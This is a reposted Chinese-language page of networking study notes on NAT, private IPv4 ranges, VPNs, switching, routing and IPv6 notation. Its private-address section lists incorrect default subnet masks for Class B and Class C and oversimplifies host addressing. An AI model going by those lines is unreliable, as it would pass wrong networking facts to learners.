NAT(Network Address Translator)是網絡地址轉換,它實現內網的IP地址與公網的地址之間的相互轉換,將大量的內網IP地址轉換為一個或少量的公網IP地址,減少對公網IP地址的占用。NAT的最典型應用是:在一個局域網內,只需要一台計算機連接上Internet,就可以利用NAT共享Internet連接,使局域網內其他計算機也可以上網。使用NAT協議,局域網內的計算機可以訪問Internet上的計算機,但Internet上的計算機無法訪問局域網內的計算機。

 

A類 10.0.0.0--10.255.255.255

B類 172.16.0.0--172.31.255.255

C類 192.168.0.0--192.168.255.255

內網保留地址編輯

Internet設計者保留了IPv4地址空間的一部份供專用地址使用,專用地址空間中的IPv4地址叫專用地址,這些地址永遠不會被當做公用地址來分配,所以專用地址永遠不會與公用地址重復.

IPv4專用地址如下:

IP等級 IP位置

Class A 10.0.0.0-10.255.255.255

默認子網掩碼:255.0.0.0

Class B 172.16.0.0-172.31.255.255

默認子網掩碼:255.240.0.0

Class C 192.168.0.0-192.168.255.255

默認子網掩碼:255.255.0.0

內網是可以上網的.內網需要一台服務器或路由器做網關,通過它來上網

做網關的服務器有一個網關(服務器/路由器)的IP地址,其它內網電腦的IP可根據它來隨意設置,前提是IP前三個數要跟它一樣,第四個可從0-255中任選但要跟服務器的IP不同

 

24.內網穿透

即NAT穿透,采用端口映射,讓外網的電腦找到處於內網的電腦,同時也可基於 HTTP/2實現web內網穿透。

 

 

25.虛擬專用網絡

功能是:在公用網絡上建立專用網絡,進行加密通訊。在企業網絡中有廣泛應用。VPN網關通過對數據包的加密和數據包目標地址的轉換實現遠程訪問。例如某公司員工出差到外地,他想訪問企業內網的服務器資源,這種訪問就屬於遠程訪問。

 

讓外地員工訪問到內網資源,利用VPN的解決方法就是在內網中架設一台VPN服務器。外地員工在當地連上互聯網后,通過互聯網連接VPN服務器,然后通過VPN服務器進入企業內網。為了保證數據安全,VPN服務器和客戶機之間的通訊數據都進行了加密處理。有了數據加密,就可以認為數據是在一條專用的數據鏈路上進行安全傳輸,就如同專門架設了一個專用網絡一樣,但實際上VPN使用的是互聯網上的公用鏈路,因此VPN稱為虛擬專用網絡,其實質上就是利用加密技術在公網上封裝出一個數據通訊隧道。有了VPN技術,用戶無論是在外地出差還是在家中辦公,只要能上互聯網就能利用VPN訪問內網資源,這就是VPN在企業中應用得如此廣泛的原因。

 

26.二層交換機

二層交換機工作於OSI模型的第2層(數據鏈路層),故而稱為二層交換機。二層交換技術的發展已經比較成熟,二層交換機屬數據鏈路層設備,可以識別數據包中的MAC地址信息,根據MAC地址進行轉發,並將這些MAC地址與對應的端口記錄在自己內部的一個地址表中。

 

過程

(1) 當交換機從某個端口收到一個數據包,它先讀取包頭中的源MAC地址,這樣它就知道源MAC地址的機器是連在哪個端口上的;

(2) 再去讀取包頭中的目的MAC地址,並在地址表中查找相應的端口;

(3) 如表中有與這目的MAC地址對應的端口,把數據包直接復制到這端口上;

(4) 如表中找不到相應的端口則把數據包廣播到所有端口上,當目的機器對源機器回應時,交換機又可以學習一目的MAC地址與哪個端口對應,在下次傳送數據時就不再需要對所有端口進行廣播了。

不斷的循環這個過程,對於全網的MAC地址信息都可以學習到,二層交換機就是這樣建立和維護它自己的地址表。

 

27.路由技術

路由器工作在OSI模型的第三層---網絡層操作,其工作模式與二層交換相似,但路由器工作在第三層,這個區別決定了路由和交換在傳遞包時使用不同的控制信息,實現功能的方式就不同。工作原理是在路由器的內部也有一個表,這個表所標示的是如果要去某一個地方,下一步應該向哪里走,如果能從路由表中找到數據包下一步往哪里走,把鏈路層信息加上轉發出去;如果不能知道下一步走向哪里,則將此包丟棄,然后返回一個信息交給源地址。

路由技術實質上來說不過兩種功能:決定最優路由和轉發數據包。

 

28.三層交換機

三層交換機就是具有部分路由器功能的交換機,三層交換機的最重要目的是加快大型局域網內部的數據交換,所具有的路由功能也是為這目的服務的,能夠做到一次路由,多次轉發。對於數據包轉發等規律性的過程由硬件高速實現,而像路由信息更新、路由表維護、路由計算、路由確定等功能,由軟件實現。三層交換技術就是二層交換技術+三層轉發技術。傳統交換技術是在OSI網絡標准模型第二層——數據鏈路層進行操作的,而三層交換技術是在網絡模型中的第三層實現了數據包的高速轉發,既可實現網絡路由功能,又可根據不同網絡狀況做到最優網絡性能。

 

29.IPv6地址表示

IPv6的128位地址通常寫成8組,每組為四個十六進制數的形式。比如:AD80:0000:0000:0000:ABAA:0000:00C2:0002 是一個合法的IPv6地址。這個地址比較長,看起來不方便也不易於書寫。零壓縮法可以用來縮減其長度。如果幾個連續段位的值都是0,那么這些0就可以簡單的以::來表示,上述地址就可寫成AD80::ABAA:0000:00C2:0002。同時前導的零可以省略,因此2001:0DB8:02de::0e13等價於2001:DB8:2de::e13。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM